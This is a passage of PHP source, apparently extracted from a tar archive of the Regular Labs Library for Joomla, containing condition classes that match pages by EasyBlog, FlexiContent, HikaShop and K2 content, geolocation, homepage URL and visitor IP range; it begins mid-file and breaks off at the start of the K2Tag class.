return $this->db->loadResult();
}
private function getCatParentIds($id = 0)
{
return $this->getParentIds($id, 'easyblog_category',
'parent_id');
}
}
src/Condition/EasyblogItem.php000064400000002055151167425550012373
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class EasyblogItem
* @package RegularLabs\Library\Condition
*/
class EasyblogItem
extends Easyblog
{
public function pass()
{
if ( ! $this->request->id || $this->request->option !=
'com_easyblog' || $this->request->view !=
'entry')
{
return $this->_(false);
}
$pass = false;
// Pass Article Id
if ( ! $this->passItemByType($pass, 'ContentId'))
{
return $this->_(false);
}
// Pass Content Keywords
if ( ! $this->passItemByType($pass, 'ContentKeyword'))
{
return $this->_(false);
}
// Pass Author
if ( ! $this->passItemByType($pass, 'Author'))
{
return $this->_(false);
}
return $this->_($pass);
}
}
src/Condition/EasyblogKeyword.php000064400000001114151167425550013114
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class EasyblogKeyword
* @package RegularLabs\Library\Condition
*/
class EasyblogKeyword
extends Easyblog
{
public function pass()
{
parent::passContentKeyword();
}
}
src/Condition/EasyblogPagetype.php000064400000001205151167425550013247
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class EasyblogPagetype
* @package RegularLabs\Library\Condition
*/
class EasyblogPagetype
extends Easyblog
{
public function pass()
{
return $this->passByPageType('com_easyblog',
$this->selection, $this->include_type);
}
}
src/Condition/EasyblogTag.php000064400000003020151167425550012201
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class EasyblogTag
* @package RegularLabs\Library\Condition
*/
class EasyblogTag
extends Easyblog
{
public function pass()
{
if ($this->request->option != 'com_easyblog')
{
return $this->_(false);
}
$pass = (
($this->params->inc_tags && $this->request->layout
== 'tag')
|| ($this->params->inc_items && $this->request->view
== 'entry')
);
if ( ! $pass)
{
return $this->_(false);
}
if ($this->params->inc_tags && $this->request->layout
== 'tag')
{
$query = $this->db->getQuery(true)
->select('t.alias')
->from('#__easyblog_tag AS t')
->where('t.id = ' . (int) $this->request->id)
->where('t.published = 1');
$this->db->setQuery($query);
$tags = $this->db->loadColumn();
return $this->passSimple($tags, true);
}
$query = $this->db->getQuery(true)
->select('t.alias')
->from('#__easyblog_post_tag AS x')
->join('LEFT', '#__easyblog_tag AS t ON t.id =
x.tag_id')
->where('x.post_id = ' . (int) $this->request->id)
->where('t.published = 1');
$this->db->setQuery($query);
$tags = $this->db->loadColumn();
return $this->passSimple($tags, true);
}
}
src/Condition/Flexicontent.php000064400000001047151167425550012451
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class Flexicontent
* @package RegularLabs\Library\Condition
*/
abstract class Flexicontent
extends \RegularLabs\Library\Condition
{
}
src/Condition/FlexicontentPagetype.php000064400000001225151167425550014146
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class FlexicontentPagetype
* @package RegularLabs\Library\Condition
*/
class FlexicontentPagetype
extends Flexicontent
{
public function pass()
{
return $this->passByPageType('com_flexicontent',
$this->selection, $this->include_type);
}
}
src/Condition/FlexicontentTag.php000064400000003214151167425550013103
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
/**
* Class FlexicontentTag
* @package RegularLabs\Library\Condition
*/
class FlexicontentTag
extends Flexicontent
{
public function pass()
{
if ($this->request->option != 'com_flexicontent')
{
return $this->_(false);
}
$pass = (
($this->params->inc_tags && $this->request->view ==
'tags')
|| ($this->params->inc_items &&
in_array($this->request->view, ['item',
'items']))
);
if ( ! $pass)
{
return $this->_(false);
}
if ($this->params->inc_tags && $this->request->view
== 'tags')
{
$query = $this->db->getQuery(true)
->select('t.name')
->from('#__flexicontent_tags AS t')
->where('t.id = ' . (int)
trim(JFactory::getApplication()->input->getInt('id', 0)))
->where('t.published = 1');
$this->db->setQuery($query);
$tag = $this->db->loadResult();
$tags = [$tag];
}
else
{
$query = $this->db->getQuery(true)
->select('t.name')
->from('#__flexicontent_tags_item_relations AS x')
->join('LEFT', '#__flexicontent_tags AS t ON t.id =
x.tid')
->where('x.itemid = ' . (int) $this->request->id)
->where('t.published = 1');
$this->db->setQuery($query);
$tags = $this->db->loadColumn();
}
return $this->passSimple($tags, true);
}
}
src/Condition/FlexicontentType.php000064400000002051151167425550013307
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class FlexicontentType
* @package RegularLabs\Library\Condition
*/
class FlexicontentType
extends Flexicontent
{
public function pass()
{
if ($this->request->option != 'com_flexicontent')
{
return $this->_(false);
}
$pass = in_array($this->request->view, ['item',
'items']);
if ( ! $pass)
{
return $this->_(false);
}
$query = $this->db->getQuery(true)
->select('x.type_id')
->from('#__flexicontent_items_ext AS x')
->where('x.item_id = ' . (int) $this->request->id);
$this->db->setQuery($query);
$type = $this->db->loadResult();
$types = $this->makeArray($type);
return $this->passSimple($types);
}
}
src/Condition/Form2content.php000064400000001047151167425550012367
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class Form2content
* @package RegularLabs\Library\Condition
*/
abstract class Form2content
extends \RegularLabs\Library\Condition
{
}
src/Condition/Form2contentProject.php000064400000001726151167425550013722
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class Form2contentProject
* @package RegularLabs\Library\Condition
*/
class Form2contentProject
extends Form2content
{
public function pass()
{
if ($this->request->option != 'com_content' &&
$this->request->view == 'article')
{
return $this->_(false);
}
$query = $this->db->getQuery(true)
->select('c.projectid')
->from('#__f2c_form AS c')
->where('c.reference_id = ' . (int)
$this->request->id);
$this->db->setQuery($query);
$type = $this->db->loadResult();
$types = $this->makeArray($type);
return $this->passSimple($types);
}
}
src/Condition/Geo.php000064400000002546151167425550010526 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Log\Log as JLog;
/**
* Class Geo
* @package RegularLabs\Library\Condition
*/
abstract class Geo
extends \RegularLabs\Library\Condition
{
var $geo = null;
public function getGeo($ip = '')
{
if ($this->geo !== null)
{
return $this->geo;
}
$geo = $this->getGeoObject($ip);
if (empty($geo))
{
return false;
}
$this->geo = $geo->get();
if (JFactory::getApplication()->get('debug'))
{
JLog::addLogger(['text_file' =>
'regularlabs_geoip.log.php'], JLog::ALL,
['regularlabs_geoip']);
JLog::add(json_encode($this->geo), JLog::DEBUG,
'regularlabs_geoip');
}
return $this->geo;
}
private function getGeoObject($ip)
{
if ( ! file_exists(JPATH_LIBRARIES . '/geoip/geoip.php'))
{
return false;
}
require_once JPATH_LIBRARIES . '/geoip/geoip.php';
if ( ! class_exists('RegularLabs_GeoIp'))
{
return new \GeoIp($ip);
}
return new \RegularLabs_GeoIp($ip);
}
}
src/Condition/GeoContinent.php000064400000001323151167425550012400
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class GeoContinent
* @package RegularLabs\Library\Condition
*/
class GeoContinent
extends Geo
{
public function pass()
{
if ( ! $this->getGeo() || empty($this->geo->continentCode))
{
return $this->_(false);
}
return $this->passSimple([$this->geo->continent,
$this->geo->continentCode]);
}
}
src/Condition/GeoCountry.php000064400000001311151167425550012077
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class GeoCountry
* @package RegularLabs\Library\Condition
*/
class GeoCountry
extends Geo
{
public function pass()
{
if ( ! $this->getGeo() || empty($this->geo->countryCode))
{
return $this->_(false);
}
return $this->passSimple([$this->geo->country,
$this->geo->countryCode]);
}
}
src/Condition/GeoPostalcode.php000064400000001440151167425550012534
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class GeoPostalcode
* @package RegularLabs\Library\Condition
*/
class GeoPostalcode
extends Geo
{
public function pass()
{
if ( ! $this->getGeo() || empty($this->geo->postalCode))
{
return $this->_(false);
}
// replace dashes with dots: 730-0011 => 730.0011
$postalcode = str_replace('-', '.',
$this->geo->postalCode);
return $this->passInRange($postalcode);
}
}
src/Condition/GeoRegion.php000064400000002143151167425550011663
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class GeoRegion
* @package RegularLabs\Library\Condition
*/
class GeoRegion
extends Geo
{
public function pass()
{
if ( ! $this->getGeo() || empty($this->geo->countryCode) ||
empty($this->geo->regionCodes))
{
return $this->_(false);
}
$country = $this->geo->countryCode;
$regions = $this->geo->regionCodes;
array_walk($regions, function (&$region, $key, $country) {
$region = $this->getCountryRegionCode($region, $country);
}, $country);
return $this->passSimple($regions);
}
private function getCountryRegionCode(&$region, $country)
{
switch ($country . '-' . $region)
{
case 'MX-CMX':
return 'MX-DIF';
default:
return $country . '-' . $region;
}
}
}
src/Condition/Hikashop.php000064400000002045151167425550011554
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
/**
* Class Hikashop
* @package RegularLabs\Library\Condition
*/
abstract class Hikashop
extends \RegularLabs\Library\Condition
{
public function beforePass()
{
$input = JFactory::getApplication()->input;
// Reset $this->request because HikaShop messes with the view after
stuff is loaded!
$this->request->option = $input->get('option',
$this->request->option);
$this->request->view = $input->get('view',
$input->get('ctrl', $this->request->view));
$this->request->id = $input->getInt('id',
$this->request->id);
$this->request->Itemid = $input->getInt('Itemid',
$this->request->Itemid);
}
}
src/Condition/HikashopCategory.php000064400000004412151167425550013252
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class HikashopCategory
* @package RegularLabs\Library\Condition
*/
class HikashopCategory
extends Hikashop
{
public function pass()
{
if ($this->request->option != 'com_hikashop')
{
return $this->_(false);
}
$pass = (
($this->params->inc_categories
&& ($this->request->view == 'category' ||
$this->request->layout == 'listing')
)
|| ($this->params->inc_items && $this->request->view
== 'product')
);
if ( ! $pass)
{
return $this->_(false);
}
$cats = $this->getCategories();
$pass = $this->passSimple($cats, 'include');
if ($pass && $this->params->inc_children == 2)
{
return $this->_(false);
}
if ( ! $pass && $this->params->inc_children)
{
foreach ($cats as $cat)
{
$cats = array_merge($cats, $this->getCatParentIds($cat));
}
}
return $this->passSimple($cats);
}
private function getCategories()
{
switch (true)
{
case (($this->request->view == 'category' ||
$this->request->layout == 'listing') &&
$this->request->id):
return [$this->request->id];
case ($this->request->view == 'category' ||
$this->request->layout == 'listing'):
include_once JPATH_ADMINISTRATOR .
'/components/com_hikashop/helpers/helper.php';
$menuClass = hikashop_get('class.menus');
$menuData = $menuClass->get($this->request->Itemid);
return
$this->makeArray($menuData->hikashop_params['selectparentlisting']);
case ($this->request->id):
$query = $this->db->getQuery(true)
->select('c.category_id')
->from('#__hikashop_product_category AS c')
->where('c.product_id = ' . (int)
$this->request->id);
$this->db->setQuery($query);
$cats = $this->db->loadColumn();
return $this->makeArray($cats);
default:
return [];
}
}
private function getCatParentIds($id = 0)
{
return $this->getParentIds($id, 'hikashop_category',
'category_parent_id', 'category_id');
}
}
src/Condition/HikashopPagetype.php000064400000002052151167425550013251
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class HikashopPagetype
* @package RegularLabs\Library\Condition
*/
class HikashopPagetype
extends Hikashop
{
public function pass()
{
if ($this->request->option != 'com_hikashop')
{
return $this->_(false);
}
$type = $this->request->view;
if (
($type == 'product' &&
in_array($this->request->task, ['contact',
'show']))
)
{
$type .= '_' . $this->request->task;
}
elseif (
($type == 'product' &&
in_array($this->request->layout, ['contact',
'show']))
|| ($type == 'user' &&
in_array($this->request->layout, ['cpanel']))
)
{
$type .= '_' . $this->request->layout;
}
return $this->passSimple($type);
}
}
src/Condition/HikashopProduct.php000064400000001356151167425550013121
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class HikashopProduct
* @package RegularLabs\Library\Condition
*/
class HikashopProduct
extends Hikashop
{
public function pass()
{
if ( ! $this->request->id || $this->request->option !=
'com_hikashop' || $this->request->view !=
'product')
{
return $this->_(false);
}
return $this->passSimple($this->request->id);
}
}
src/Condition/Homepage.php000064400000011415151167425550011534
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Language\LanguageHelper as JLanguageHelper;
use Joomla\CMS\Uri\Uri as JUri;
use RegularLabs\Library\RegEx;
use RegularLabs\Library\StringHelper;
/**
* Class HomePage
* @package RegularLabs\Library\Condition
*/
class HomePage
extends \RegularLabs\Library\Condition
{
public function pass()
{
$home =
JFactory::getApplication()->getMenu('site')->getDefault(JFactory::getLanguage()->getTag());
// return if option or other set values do not match the homepage menu
item values
if ($this->request->option)
{
// check if option is different to home menu
if ( ! $home || ! isset($home->query['option']) ||
$home->query['option'] != $this->request->option)
{
return $this->_(false);
}
if ( ! $this->request->option)
{
// set the view/task/layout in the menu item to empty if not set
$home->query['view'] =
isset($home->query['view']) ?
$home->query['view'] : '';
$home->query['task'] =
isset($home->query['task']) ?
$home->query['task'] : '';
$home->query['layout'] =
isset($home->query['layout']) ?
$home->query['layout'] : '';
}
// check set values against home menu query items
foreach ($home->query as $k => $v)
{
if ((isset($this->request->{$k}) &&
$this->request->{$k} != $v)
|| (
( ! isset($this->request->{$k}) || in_array($v,
['virtuemart', 'mijoshop']))
&& JFactory::getApplication()->input->get($k) != $v
)
)
{
return $this->_(false);
}
}
// check post values against home menu params
foreach ($home->params->toObject() as $k => $v)
{
if (($v && isset($_POST[$k]) && $_POST[$k] != $v)
|| ( ! $v && isset($_POST[$k]) && $_POST[$k])
)
{
return $this->_(false);
}
}
}
$pass = $this->checkPass($home);
if ( ! $pass)
{
$pass = $this->checkPass($home, true);
}
return $this->_($pass);
}
private function checkPass(&$home, $addlang = false)
{
$uri = JUri::getInstance();
if ($addlang)
{
$sef = $uri->getVar('lang');
if (empty($sef))
{
$langs = array_keys(JLanguageHelper::getLanguages('sef'));
$path = StringHelper::substr(
$uri->toString(['scheme', 'user',
'pass', 'host', 'port', 'path']),
StringHelper::strlen($uri->base())
);
$path = RegEx::replace('^index\.php/?', '',
$path);
$parts = explode('/', $path);
$part = reset($parts);
if (in_array($part, $langs))
{
$sef = $part;
}
}
if (empty($sef))
{
return false;
}
}
$query = $uri->toString(['query']);
if (strpos($query, 'option=') === false &&
strpos($query, 'Itemid=') === false)
{
$url = $uri->toString(['host', 'path']);
}
else
{
$url = $uri->toString(['host', 'path',
'query']);
}
// remove the www.
$url = RegEx::replace('^www\.', '', $url);
// replace ampersand chars
$url = str_replace('&', '&', $url);
// remove any language vars
$url =
RegEx::replace('((\?)lang=[a-z-_]*(&|$)|&lang=[a-z-_]*)',
'\2', $url);
// remove trailing nonsense
$url = trim(RegEx::replace('/?\??&?$', '',
$url));
// remove the index.php/
$url = RegEx::replace('/index\.php(/|$)', '/', $url);
// remove trailing /
$url = trim(RegEx::replace('/$', '', $url));
$root = JUri::root();
// remove the http(s)
$root = RegEx::replace('^.*?://', '', $root);
// remove the www.
$root = RegEx::replace('^www\.', '', $root);
//remove the port
$root = RegEx::replace(':[0-9]+', '', $root);
// so also passes on urls with trailing /, ?, &, /?, etc...
$root = RegEx::replace('(Itemid=[0-9]*).*^', '\1',
$root);
// remove trailing /
$root = trim(RegEx::replace('/$', '', $root));
if ($addlang)
{
$root .= '/' . $sef;
}
/* Pass urls:
* [root]
*/
$regex = '^' . $root . '$';
if (RegEx::match($regex, $url))
{
return true;
}
/* Pass urls:
* [root]?Itemid=[menu-id]
* [root]/?Itemid=[menu-id]
* [root]/index.php?Itemid=[menu-id]
* [root]/[menu-alias]
* [root]/[menu-alias]?Itemid=[menu-id]
* [root]/index.php?[menu-alias]
* [root]/index.php?[menu-alias]?Itemid=[menu-id]
* [root]/[menu-link]
* [root]/[menu-link]&Itemid=[menu-id]
*/
$regex = '^' . $root
. '(/('
. 'index\.php'
. '|'
. '(index\.php\?)?' . RegEx::quote($home->alias)
. '|'
. RegEx::quote($home->link)
. ')?)?'
. '(/?[\?&]Itemid=' . (int) $home->id . ')?'
. '$';
return RegEx::match($regex, $url);
}
}
src/Condition/Ip.php000064400000006730151167425550010363 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class Ip
* @package RegularLabs\Library\Condition
*/
class Ip
extends \RegularLabs\Library\Condition
{
public function pass()
{
if (is_array($this->selection))
{
$this->selection = implode(',', $this->selection);
}
$this->selection = explode(',', str_replace([' ',
"\r", "\n"], ['', '',
','], $this->selection));
$pass = $this->checkIPList();
return $this->_($pass);
}
private function checkIPList()
{
foreach ($this->selection as $range)
{
// Check next range if this one doesn't match
if ( ! $this->checkIP($range))
{
continue;
}
// Match found, so return true!
return true;
}
// No matches found, so return false
return false;
}
private function checkIP($range)
{
if (empty($range))
{
return false;
}
if (strpos($range, '-') !== false)
{
// Selection is an IP range
return $this->checkIPRange($range);
}
// Selection is a single IP (part)
return $this->checkIPPart($range);
}
private function checkIPRange($range)
{
$ip = $this->getIP();
// Return if no IP address can be found (shouldn't happen, but who
knows)
if (empty($ip))
{
return false;
}
// check if IP is between or equal to the from and to IP range
list($min, $max) = explode('-', trim($range), 2);
// Return false if IP is smaller than the range start
if ($ip < trim($min))
{
return false;
}
$max = $this->fillMaxRange($max, $min);
// Return false if IP is larger than the range end
if ($ip > trim($max))
{
return false;
}
return true;
}
/* Fill the max range by prefixing it with the missing parts from the min
range
* So 101.102.103.104-201.202 becomes:
* max: 101.102.201.202
*/
private function fillMaxRange($max, $min)
{
$max_parts = explode('.', $max);
if (count($max_parts) == 4)
{
return $max;
}
$min_parts = explode('.', $min);
$prefix = array_slice($min_parts, 0, count($min_parts) -
count($max_parts));
return implode('.', $prefix) . '.' .
implode('.', $max_parts);
}
private function checkIPPart($range)
{
$ip = $this->getIP();
// Return if no IP address can be found (shouldn't happen, but who
knows)
if (empty($ip))
{
return false;
}
$ip_parts = explode('.', $ip);
$range_parts = explode('.', trim($range));
// Trim the IP to the part length of the range
$ip = implode('.', array_slice($ip_parts, 0,
count($range_parts)));
// Return false if ip does not match the range
if ($range != $ip)
{
return false;
}
return true;
}
private function getIP()
{
if ( ! empty($_SERVER['HTTP_X_FORWARDED_FOR']) &&
$this->isValidIp($_SERVER['HTTP_X_FORWARDED_FOR']))
{
return $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if ( ! empty($_SERVER['HTTP_X_REAL_IP']) &&
$this->isValidIp($_SERVER['HTTP_X_REAL_IP']))
{
return $_SERVER['HTTP_X_REAL_IP'];
}
if ( ! empty($_SERVER['HTTP_CLIENT_IP']) &&
$this->isValidIp($_SERVER['HTTP_CLIENT_IP']))
{
$_SERVER['HTTP_CLIENT_IP'];
}
return $_SERVER['REMOTE_ADDR'];
}
private function isValidIp($string)
{
return preg_match('#^([0-9]{1,3}\.){3}[0-9]{1,3}$#', $string);
}
}
src/Condition/K2.php000064400000001752151167425550010266 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
// If controller.php exists, assume this is K2 v3
defined('RL_K2_VERSION') or define('RL_K2_VERSION',
file_exists(JPATH_ADMINISTRATOR .
'/components/com_k2/controller.php') ? 3 : 2);
/**
* Class K2
* @package RegularLabs\Library\Condition
*/
abstract class K2
extends \RegularLabs\Library\Condition
{
use \RegularLabs\Library\ConditionContent;
public function getItem($fields = [])
{
$query = $this->db->getQuery(true)
->select($fields)
->from('#__k2_items')
->where('id = ' . (int) $this->request->id);
$this->db->setQuery($query);
return $this->db->loadObject();
}
}
src/Condition/K2Category.php000064400000004476151167425550011772
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
/**
* Class K2Category
* @package RegularLabs\Library\Condition
*/
class K2Category
extends K2
{
public function pass()
{
if ($this->request->option != 'com_k2')
{
return $this->_(false);
}
$pass = (
($this->params->inc_categories
&& (($this->request->view == 'itemlist'
&& $this->request->task == 'category')
|| $this->request->view == 'latest'
)
)
|| ($this->params->inc_items && $this->request->view
== 'item')
);
if ( ! $pass)
{
return $this->_(false);
}
$cats = $this->makeArray($this->getCategories());
$pass = $this->passSimple($cats, 'include');
if ($pass && $this->params->inc_children == 2)
{
return $this->_(false);
}
else if ( ! $pass && $this->params->inc_children)
{
foreach ($cats as $cat)
{
$cats = array_merge($cats, $this->getCatParentIds($cat));
}
}
return $this->passSimple($cats);
}
private function getCategories()
{
switch ($this->request->view)
{
case 'item' :
return $this->getCategoryIDFromItem();
break;
case 'itemlist' :
return $this->getCategoryID();
break;
default:
return '';
}
}
private function getCategoryID()
{
return $this->request->id ?:
JFactory::getApplication()->getUserStateFromRequest('com_k2itemsfilter_category',
'catid', 0, 'int');
}
private function getCategoryIDFromItem()
{
if ($this->article && isset($this->article->catid))
{
return $this->article->catid;
}
if ( ! $this->request->id)
{
return $this->getCategoryID();
}
$query = $this->db->getQuery(true)
->select('i.catid')
->from('#__k2_items AS i')
->where('i.id = ' . (int) $this->request->id);
$this->db->setQuery($query);
return $this->db->loadResult();
}
private function getCatParentIds($id = 0)
{
$parent_field = RL_K2_VERSION == 3 ? 'parent_id' :
'parent';
return $this->getParentIds($id, 'k2_categories',
$parent_field);
}
}
src/Condition/K2Item.php000064400000002204151167425550011076
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
/**
* Class K2Item
* @package RegularLabs\Library\Condition
*/
class K2Item
extends K2
{
public function pass()
{
if ( ! $this->request->id || $this->request->option !=
'com_k2' || $this->request->view != 'item')
{
return $this->_(false);
}
$pass = false;
// Pass Article Id
if ( ! $this->passItemByType($pass, 'ContentId'))
{
return $this->_(false);
}
// Pass Content Keyword
if ( ! $this->passItemByType($pass, 'ContentKeyword'))
{
return $this->_(false);
}
// Pass Meta Keyword
if ( ! $this->passItemByType($pass, 'MetaKeyword'))
{
return $this->_(false);
}
// Pass Author
if ( ! $this->passItemByType($pass, 'Author'))
{
return $this->_(false);
}
return $this->_($pass);
}
}
src/Condition/K2Pagetype.php000064400000001463151167425550011764
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
/**
* Class K2Pagetype
* @package RegularLabs\Library\Condition
*/
class K2Pagetype
extends K2
{
public function pass()
{
// K2 messes with the task in the request, so we have to reset the task
$this->request->task =
JFactory::getApplication()->input->get('task');
return $this->passByPageType('com_k2', $this->selection,
$this->include_type, false, true);
}
}
src/Condition/K2Tag.php000064400000002603151167425550010716
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Condition;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
/**
* Class K2Tag
* @package RegularLabs\Library\Condition
*/
class K2Tag
extends K2
{
